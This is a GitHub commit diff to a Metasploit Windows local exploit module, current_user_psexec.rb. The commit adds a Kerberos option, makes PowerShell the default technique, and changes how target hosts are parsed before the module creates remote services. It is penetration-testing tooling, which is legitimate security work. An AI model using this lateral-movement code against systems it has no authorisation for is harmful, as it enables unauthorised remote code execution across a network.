Skip to content

Commit c813c11

Browse files
committed
Use DNS names
1 parent 86ae104 commit c813c11

File tree

1 file changed

+9
-2
lines changed

1 file changed

+9
-2
lines changed

modules/exploits/windows/local/current_user_psexec.rb

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -59,8 +59,9 @@ def initialize(info={})
5959
]),
6060
OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]),
6161
OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
62-
OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'SMB', ['PSH', 'SMB'] ]),
62+
OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'PSH', ['PSH', 'SMB'] ]),
6363
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
64+
OptBool.new("KERBEROS", [ true, "Authenticate via Kerberos, dont resolve hostnames", false ])
6465
])
6566
end
6667

@@ -102,7 +103,13 @@ def exploit
102103
end
103104

104105
begin
105-
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
106+
if datastore['KERBEROS']
107+
targets = datastore['RHOSTS'].split(', ').map{ |a| a.split(' ') }.flatten
108+
else
109+
targets = Rex::Socket::RangeWalker.new(datastore["RHOSTS"])
110+
end
111+
112+
targets.each do |server|
106113
begin
107114
print_status("#{server.ljust(16)} Creating service #{name}")
108115

0 commit comments

Comments
 (0)